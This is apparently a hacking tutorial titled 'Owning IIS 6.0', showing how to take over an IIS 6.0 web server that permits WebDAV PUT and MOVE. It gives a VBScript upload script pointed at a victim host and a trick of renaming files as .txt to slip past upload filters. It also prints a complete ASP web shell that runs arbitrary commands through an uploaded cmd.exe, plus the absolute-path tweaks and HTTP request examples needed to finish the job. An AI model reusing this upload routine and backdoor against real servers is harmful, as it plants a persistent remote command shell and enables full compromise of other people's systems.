Owning IIS 6.0 When Webserver Supports Put and Move HTTP Methods

Credits: ice and ferruh

In IIS 6.0 you can upload the backdoor scripts but u may not be able to execute the default cmd.exe present in the iis box, so u need to upload your own cmd.exe first and then make your asp backdoor point to the cmd.exe which you uploaded.

Steps:

  1. Upload cmd.exe to /scripts/ folder: Use the script below published by http://www.eggheadcafe.com/articles/20010829.asp which will allow you to upload cmd.exe (or any other binary) to the vulnerable server. You may not be able to upload a .exe file, so rename cmd.exe to cmd.txt and then use the move method to copy it back from cmd.txt to cmd.exe. Note that cmd.exe must be copied to the /scripts/ folder of IIS where you have by default execute privileges.

Here is the upload script:

<script language=VBSCRIPT>
 dim strURL 
 function sendit( sfileName, sType) 
 sData = getFileBytes(sfileName, sType) 
 sfileName= mid(sfileName, InstrRev(sFileName," ")+1,len(sfileName)) 
 dim xmlhttp 
 set xmlhttp=createobject("MSXML2.XMLHTTP.3.0")
 strURL = "victim.com/scripts/" & sFileName 
 msgbox "URL is: " & strURL 
 xmlhttp.Open "PUT", strURL, false 
 xmlhttp.Send sData 
 show.innerText= "Status: " & xmlhttp.statusText 
 set xmlhttp=Nothing 
 end function

sub showresult()
 document.write "<CENTER>Take A look!<BR><A xhref=" & strURL & ">"& strURL & "</a></CENTER>"
 end sub

function getFileBytes(flnm, sType)
 Dim objStream
 Set objStream = CreateObject("ADODB.Stream")
 if sType="on" then
 objStream.Type = 1 ' adTypeBinary
 else
 objStream.Type = 2 ' adTypeText
 objStream.Charset ="ascii"
 end if
 objStream.Open
 objStream.LoadFromFile flnm
 if sType="on" then
 getFileBytes=objStream.Read
 else
 getFileBytes= objStream.ReadText
 end if
 objStream.Close
 Set objStream = Nothing
 end function
</script>
Type Binary (Uncheck for Type Text)
  1. Upload the cmd.asp file to /scripts/ folder: Use the same upload script running locally on your system to upload the cmd.asp, from ( http://www.unsec.net/2007/03/web_backdoor_jspshell_aspshell_1.html)
<!-- IIS6 VBscript command shell -->
<!-- [aramosf@unsec.net](mailto:aramosf@unsec.net) [http://www.514.es](http://www.514.es/) -->
<title>514 aspshell</title> 
<FORM action="/%3C%25%3D%20Request.ServerVariables%28"URL") %>" method="POST">
<input type=text name="cmd" size=45 value="<%= cmd %>">
<input type=submit value="Run">
</FORM>

<%
If (request("cmd") <> "") Then
Response.Write Server.HTMLEncode(server.createobject
("wscript.shell").exec(Server.MapPath("cmd.exe")& " /c " &
request("cmd")).stdout.readall)
End If
%>

You need to make the script point to the cmd.exe you uploaded in the scripts folder. You will need the absolute path, so the line:

Response.Write Server.HTMLEncode(server.createobject
("wscript.shell").exec(Server.MapPath("cmd.exe")& " /c " &
request("cmd")).stdout.readall)

may look something like:

Response.Write Server.HTMLEncode(server.createobject
("wscript.shell").exec("C:InetpubScriptsmycmd.exe /c " &
request("cmd")).stdout.readall)

You may not be able to upload the .asp file, so rename it as .txt and use the move method to copy it again as .asp on the server. That's it, job done, your backdoor should work fine now :-)

Questions:

  1. How to obtain the absolute path. add this line to your backdoor:
<%=Server.Mappath("/scripts/")%>

This will give you the full path, make necessary changes to your backdoor and upload it again.

  1. What if the scripts directory is not present?

I think the attack will fail as you wont have the execute permissions:

  1. Is it a good practice to not have /scripts/ folder in the document root?

Think so.

Syntax:

Example- PUT Method:

Request
PUT /foo.txt HTTP/1.1
Host: victim.com
Content-Length: 4
test

Response
HTTP/1.1 201 Created
Date: Thu, 14 Jun 2007 09:47:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: victim.com/foo.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

Example - DELETE

Request
DELETE /container/ HTTP/1.1
Host: foo.bar

Response
HTTP/1.1 207 Multi-Status   Content-Type: text/xml; charset="utf-8"   Content-Length: xxxx   <?xml version="1.0" encoding="utf-8" ?>   <d:multistatus xmlns:d="DAV:">   <d:response>   <d:href> [http://www.foo.bar/container/resource3</d:href>](http://www.foo.bar/container/resource3%3C/d:href%3E)   <d:status>HTTP/1.1 423 Locked</d:status>   </d:response>   </d:multistatus>

Example- MOVE

Request
MOVE /~fielding/index.html HTTP/1.1
Host: [www.ics.uci.edu](http://www.ics.uci.edu/)
Destination: [http://www.ics.uci.edu/users/f/fielding/index.html](http://www.ics.uci.edu/users/f/fielding/index.html)

Response
HTTP/1.1 201 Created
Location: [http://www.ics.uci.edu/users/f/fielding/index.html](http://www.ics.uci.edu/users/f/fielding/index.html)

More HTTP methods: http://www.webdav.org/specs/rfc2518.html